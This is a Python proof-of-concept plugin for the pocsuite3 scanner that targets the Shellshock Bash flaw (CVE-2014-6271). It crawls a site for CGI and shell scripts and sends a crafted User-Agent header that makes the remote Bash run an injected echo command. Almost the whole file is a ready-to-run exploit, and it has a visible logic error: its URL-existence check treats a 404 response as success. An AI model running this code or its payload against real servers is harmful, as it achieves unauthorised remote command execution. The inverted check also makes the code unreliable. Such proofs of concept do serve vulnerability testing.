import random
import re
import string
from os.path import normpath
# from urlparse import urljoin,urlparse,urlunparse
# from pocsuite.api.utils import logger
# from pocsuite.api.poc import POCBase, Output, register
# from pocsuite.api.request import req #用法和 requests 完全相同
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register, logger
from urllib.parse import urlparse, urljoin, urlunparse


class DemoPOC(POCBase):
    vulID = 'CVE-2014-6271'  # https://www.seebug.org/vuldb/ssvid-88877
    version = '1'
    author = ['sxd']
    vulDate = '2014-09-24'
    createDate = '2020-03-3'
    updateDate = '2020-03-3'
    references = ['https://www.invisiblethreat.ca/2014/09/cve-2014-6271/']
    name = 'Bash 4.3 远程命令执行漏洞 POC'
    appPowerLink = 'http://www.gnu.org/software/bash/'
    appName = 'Bash'
    appVersion = '3.0-4.3#'
    vulType = 'Command Execution'
    desc = '''
        		   该漏洞会影响目前主流的Linux和Mac OSX操作系统平台，包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等平台。
        		   该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本，会影响到与Bash交互的多种应用，
        		   包括HTTP、OpenSSH、DHCP等。根据目前的漏洞验证情况以及已经流传的POC情况，这个漏洞将严重影响网络基础设施的安全，包括但不限于网络设备、网络安全设备、云和大数据中心等。
        		   Bash 在解析环境变量时，会解析函数，同时可以运行函数后的语句，造成命令执行。'''
    samples = []
    install_requires = ['random', 're', 'string']

    def _verify(self):
        result = {}

        try:
            vul_url = get_url_need(self.url)
            if not vul_url.endswith('.cgi') and not vul_url.endswith('.sh'):
                pass
            else:
                random_str = ''.join(random.sample(string.ascii_letters + string.digits, 50))
                headers_fake = {}
                headers_fake['User-Agent'] = '() { :; }; echo; echo X-Bash-Test: %s' % random_str

                response = req.get(vul_url, headers=headers_fake)
                response = response.text

                if 'X-Bash-Test: %s' % random_str == response.split('\n')[0]:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = vul_url
        except Exception as e:
            logger.exception(e)
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()

    def _shell(self):
        pass


def get_url(url):
    try:
        return req.get(url).url
    except:
        return url


def fix_url(url):
    if not url.startswith('http'):
        url = 'http://%s' % url
    return url


def get_url_need(url):
    url_need = None

    url = fix_url(url)

    if url.endswith('.cgi') or url.endswith('.sh'):
        url_need = url
        return url_need

    url = get_url(url)
    url_need = get_link(url)

    if not url_need:
        # print '[*] get url need error'
        url_need = url

    info = url_need
    # print info
    return info


def get_link(url):
    rnt = ''
    try:
        page_content = req.get(url).text
        match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:cgi|sh|pl))''', page_content)
        for item_url in match:
            if not item_url.startswith('http'):
                item_url = getAbsoluteURL(url, item_url)
            if not is_url_exist(item_url):
                continue
            if isSameDomain(item_url, url):
                rnt = item_url
                break
        return rnt
    except:
        # raise e
        return rnt


def getAbsoluteURL(base, url):
    url1 = urljoin(base, url)
    arr = urlparse(url1)
    path = normpath(arr[2])
    return urlunparse((arr.scheme, arr.netloc, path, arr.params, arr.query, arr.fragment))


def is_url_exist(url):
    try:
        resp = req.get(url)
        if resp.status_code == 404:
            return True
    except Exception as e:
        pass
    return False


def isSameDomain(url1, url2):
    try:
        if urlparse(url1).netloc.split(':')[0] == urlparse(url2).netloc.split(':')[0]:
            return True
        else:
            return False
    except:
        return False


register(DemoPOC)
